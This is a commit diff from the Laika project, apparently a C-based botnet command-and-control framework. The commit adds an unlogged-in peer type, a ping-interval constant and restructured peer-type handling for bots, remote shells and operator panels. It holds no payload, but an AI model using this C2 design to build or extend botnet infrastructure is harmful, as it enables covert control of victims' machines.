mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-23 21:30:09 +00:00
Lib: added PEER_PEER type for uninitalized peers
- defined LAIKA_PING_INTERVAL for the ping task
This commit is contained in:
parent
bc9891bcfd
commit
bc071c10d2
@ -87,7 +87,7 @@ struct sLaika_bot *laikaB_newBot(void)
|
||||
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
|
||||
|
||||
laikaT_initTaskService(&bot->tService);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
|
||||
laikaT_newTask(&bot->tService, LAIKA_PING_INTERVAL, laikaB_pingTask, (void *)bot);
|
||||
|
||||
/* init shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
|
@ -42,6 +42,7 @@ struct sLaika_authInfo
|
||||
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
|
||||
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
|
||||
|
||||
struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc);
|
||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
|
||||
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
|
||||
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
|
||||
|
@ -116,6 +116,10 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \
|
||||
false)
|
||||
|
||||
struct sLaika_peerPacketInfo laikaC_peerPktTable[LAIKAPKT_MAXNONE] = {
|
||||
DEFAULT_PKT_TBL
|
||||
};
|
||||
|
||||
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
|
||||
DEFAULT_PKT_TBL,
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
|
||||
@ -213,7 +217,6 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc)
|
||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
{
|
||||
int i;
|
||||
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
||||
|
||||
/* add to peer lookup map */
|
||||
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||
@ -223,13 +226,25 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
laikaC_sendNewPeer(cnc->authPeers[i], peer);
|
||||
}
|
||||
|
||||
/* add peer to panels list (if it's a panel) */
|
||||
if (peer->type == PEER_AUTH) {
|
||||
switch (peer->type) {
|
||||
case PEER_PEER:
|
||||
/* should never be reached */
|
||||
break;
|
||||
case PEER_BOT:
|
||||
/* TODO */
|
||||
break;
|
||||
case PEER_AUTH:
|
||||
/* add peer to panels list (if it's a panel) */
|
||||
laikaC_addAuth(cnc, peer);
|
||||
|
||||
/* send a list of peers */
|
||||
laikaC_sendPeerList(cnc, peer);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
||||
}
|
||||
|
||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
@ -243,15 +258,16 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||
/* close any open shells */
|
||||
laikaC_closeShells(peer);
|
||||
switch (peer->type) {
|
||||
case PEER_BOT: {
|
||||
case PEER_PEER:
|
||||
/* should never be reached */
|
||||
break;
|
||||
case PEER_BOT:
|
||||
/* TODO */
|
||||
break;
|
||||
}
|
||||
case PEER_AUTH: {
|
||||
case PEER_AUTH:
|
||||
/* remove peer from panels list */
|
||||
laikaC_rmvAuth(cnc, peer);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@ -276,6 +292,10 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
|
||||
/* update accepted packets */
|
||||
peer->type = type;
|
||||
switch (type) {
|
||||
case PEER_PEER:
|
||||
peer->packetTbl = laikaC_peerPktTable;
|
||||
peer->uData = laikaC_newPeerInfo(cnc);
|
||||
break;
|
||||
case PEER_AUTH:
|
||||
peer->packetTbl = laikaC_authPktTbl;
|
||||
peer->uData = laikaC_newAuthInfo(cnc);
|
||||
@ -371,8 +391,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
|
||||
for (i = 0; i < numEvents; i++) {
|
||||
evnt = &evnts[i];
|
||||
if (evnt->sock == &cnc->sock) { /* event on listener? */
|
||||
peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc,
|
||||
(void *)laikaC_newBotInfo(cnc));
|
||||
peer = laikaS_newPeer(laikaC_peerPktTable, &cnc->pList, laikaC_onPollFail, cnc,
|
||||
(void *)laikaC_newPeerInfo(cnc));
|
||||
|
||||
LAIKA_TRY
|
||||
/* setup and accept new peer */
|
||||
|
@ -21,6 +21,11 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
|
||||
return pInfo;
|
||||
}
|
||||
|
||||
struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc)
|
||||
{
|
||||
return (struct sLaika_peerInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_peerInfo));
|
||||
}
|
||||
|
||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
|
||||
{
|
||||
struct sLaika_botInfo *bInfo =
|
||||
@ -147,21 +152,20 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
||||
|
||||
switch (type) {
|
||||
case PEER_BOT:
|
||||
laikaC_setPeerType(cnc, peer, PEER_BOT);
|
||||
break;
|
||||
case PEER_AUTH:
|
||||
/* check that peer's pubkey is authenticated */
|
||||
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
|
||||
|
||||
/* notify cnc */
|
||||
laikaC_setPeerType(cnc, peer, PEER_AUTH);
|
||||
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
|
||||
break;
|
||||
default:
|
||||
LAIKA_ERROR("Unknown peerType [%d]!\n", type);
|
||||
}
|
||||
|
||||
/* notify cnc */
|
||||
laikaC_setPeerType(cnc, peer, type);
|
||||
LAIKA_DEBUG("Peer login for %p accepted!\n", peer);
|
||||
}
|
||||
|
||||
|
@ -16,6 +16,7 @@
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
|
||||
#define LAIKA_HANDSHAKE_SALT_LEN 32
|
||||
#define LAIKA_PING_INTERVAL 5000
|
||||
|
||||
/*
|
||||
first handshake between peer & cnc works as so:
|
||||
|
@ -9,9 +9,9 @@
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PEER_UNKNWN,
|
||||
PEER_PEER, /* unlogged-in peer */
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_CNC, /* cnc 2 cnc communication (unused) */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
} PEERTYPE;
|
||||
|
||||
|
@ -16,7 +16,7 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
|
||||
peer->pList = pList;
|
||||
peer->uData = uData;
|
||||
peer->pktSize = 0;
|
||||
peer->type = PEER_UNKNWN;
|
||||
peer->type = PEER_PEER;
|
||||
peer->osType = OS_UNKNWN;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
peer->outStart = -1;
|
||||
|
@ -222,7 +222,7 @@ void shellC_init(tShell_client *client)
|
||||
client->peerTblCount = 0;
|
||||
|
||||
laikaT_initTaskService(&client->tService);
|
||||
laikaT_newTask(&client->tService, 5000, shell_pingTask, client);
|
||||
laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
|
||||
|
||||
/* load authenticated keypair */
|
||||
if (sodium_init() < 0) {
|
||||
|
@ -35,6 +35,8 @@ void shellP_freePeer(tShell_peer *peer)
|
||||
char *shellP_typeStr(tShell_peer *peer)
|
||||
{
|
||||
switch (peer->type) {
|
||||
case PEER_PEER:
|
||||
return "Peer";
|
||||
case PEER_BOT:
|
||||
return "Bot";
|
||||
case PEER_CNC:
|
||||
|
Loading…
Reference in New Issue
Block a user